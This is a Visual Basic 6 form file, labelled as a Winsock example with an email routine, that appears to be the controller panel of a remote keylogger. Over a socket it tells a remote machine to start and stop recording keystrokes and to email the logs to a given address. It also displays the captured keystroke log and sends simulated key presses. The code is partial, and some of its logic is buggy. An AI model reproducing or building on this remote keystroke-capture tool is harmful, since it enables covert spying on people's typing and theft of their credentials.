frmkb.frm

关于WINSOCK控件基本编程的例程,提供电子邮件例程

VERSION 5.00
Object = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}#2.0#0"; "MSCOMCTL.OCX"
Begin VB.Form FrmKb 
   Caption         =   "键盘控制"
   ClientHeight    =   5985
   ClientLeft      =   60
   ClientTop       =   345
   ClientWidth     =   4680
   LinkTopic       =   "Form7"
   ScaleHeight     =   5985
   ScaleWidth      =   4680
   StartUpPosition =   3  '窗口缺省
   Begin VB.Frame Frame3 
      Caption         =   "查看记录"
      Height          =   1695
      Left            =   120
      TabIndex        =   12
      Top             =   4200
      Width           =   4455
      Begin VB.TextBox TxtJilu 
         Height          =   1335
         Left            =   120
         MultiLine       =   -1  'True
         ScrollBars      =   2  'Vertical
         TabIndex        =   13
         Top             =   240
         Width           =   4215
      End
   End
   Begin VB.Frame Frame2 
      Caption         =   "击键记录"
      Height          =   2535
      Left            =   120
      TabIndex        =   4
      Top             =   1440
      Width           =   4455
      Begin VB.CheckBox Check2 
         Caption         =   "需要邮寄"
         Height          =   255
         Left            =   480
         TabIndex        =   11
         Top             =   1920
         Width           =   1455
      End
      Begin VB.TextBox TxtMail 
         Height          =   375
         Left            =   2160
         TabIndex        =   10
         Text            =   "EMAIL"
         Top             =   1920
         Width           =   2055
      End
      Begin VB.Timer Timer1 
         Enabled         =   0   'False
         Interval        =   10000
         Left            =   2640
         Top             =   240
      End
      Begin VB.CheckBox Check1 
         Caption         =   "自动停止"
         Height          =   375
         Left            =   3000
         TabIndex        =   9
         Top             =   720
         Width           =   1215
      End
      Begin MSComctlLib.Slider Slider1 
         Height          =   375
         Left            =   120
         TabIndex        =   7
         Top             =   720
         Width           =   2175
         _ExtentX        =   3836
         _ExtentY        =   661
         _Version        =   393216
      End
      Begin VB.CommandButton CmdEnd 
         Caption         =   "停止记录"
         Height          =   495
         Left            =   2640
         TabIndex        =   6
         Top             =   1200
         Width           =   1575
      End
      Begin VB.CommandButton CmdBeg 
         Caption         =   "开始记录"
         Height          =   495
         Left            =   360
         TabIndex        =   5
         Top             =   1200
         Width           =   1455
      End
      Begin VB.Label Label2 
         AutoSize        =   -1  'True
         Caption         =   "设定自动记录时间长度(分)："
         Height          =   180
         Left            =   120
         TabIndex        =   8
         Top             =   360
         Width           =   2340
      End
   End
   Begin VB.Frame Frame1 
      Caption         =   "模拟击键"
      Height          =   1095
      Left            =   120
      TabIndex        =   0
      Top             =   120
      Width           =   4455
      Begin VB.CommandButton CmdMon 
         Caption         =   "模拟"
         Height          =   495
         Left            =   3000
         TabIndex        =   2
         Top             =   240
         Width           =   1095
      End
      Begin VB.ComboBox Combo1 
         Height          =   300
         ItemData        =   "FrmKb.frx":0000
         Left            =   1200
         List            =   "FrmKb.frx":0016
         TabIndex        =   1
         Text            =   "选择动作"
         Top             =   360
         Width           =   1215
      End
      Begin VB.Label Label1 
         AutoSize        =   -1  'True
         Caption         =   "动作："
         Height          =   180
         Left            =   480
         TabIndex        =   3
         Top             =   360
         Width           =   540
      End
   End
End
Attribute VB_Name = "FrmKb"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim MyTime As Integer
Private Sub Check1_Click()
If Check1.Value = 1 Then
    CmdEnd.Enabled = False
End If
If Check1.Value = 0 Then
    CmdEnd.Enabled = True
End If

End Sub

Private Sub CmdBeg_Click()
Timer1.Enabled = True
CmdBeg.Enabled = False
If Check2.Value = 1 & TxtMail <> "" Then
FrmMain.SockCli.SendData "BEGINKB" & TxtMail
End If
If Check2.Value = 0 Then
FrmMain.SockCli.SendData "BEGINKB" & TxtMail
End If

End Sub

Private Sub CmdEnd_Click()
If Left$(GotData, 7) = "KBEDLOG" Then
        TxtJilu = Right$(GotData, Len(GotData) - 7)
    End If
End Sub

Private Sub CmdMon_Click()
Select Case Combo1.ListIndex
    Case 1
    FrmMain.SockCli.SendData "MONIRUN" & "&H45"
    Case 2
    FrmMain.SockCli.SendData "MONIRUN" & "&H46"
    Case 3
    FrmMain.SockCli.SendData "MONIRUN" & "&H4D"
    Case 4
    FrmMain.SockCli.SendData "MONIRUN" & "&H52"
    Case 5
    FrmMain.SockCli.SendData "MONIRUN" & "&H5B"
    Case 6
    FrmMain.SockCli.SendData "MONIRUN" & "&H70"
End Select
If InfoBack = "GOTINFO" Then
    MsgBox "命令已经成功发送！", vbOKOnly, "成功"
End If
End Sub

Private Sub Form_Load()
MyTime = 0
End Sub

Private Sub Timer1_Timer()
MyTime = MyTime + 10
If MyTime = Slider1.Value * 60 Then
    FrmMain.SockCli.SendData "ENDJILU"
    MyTime = 0
    Timer1.Enabled = False
    If Left$(GotData, 7) = "KBEDLOG" Then
        TxtJilu = Right$(GotData, Len(GotData) - 7)
    End If
End If
End Sub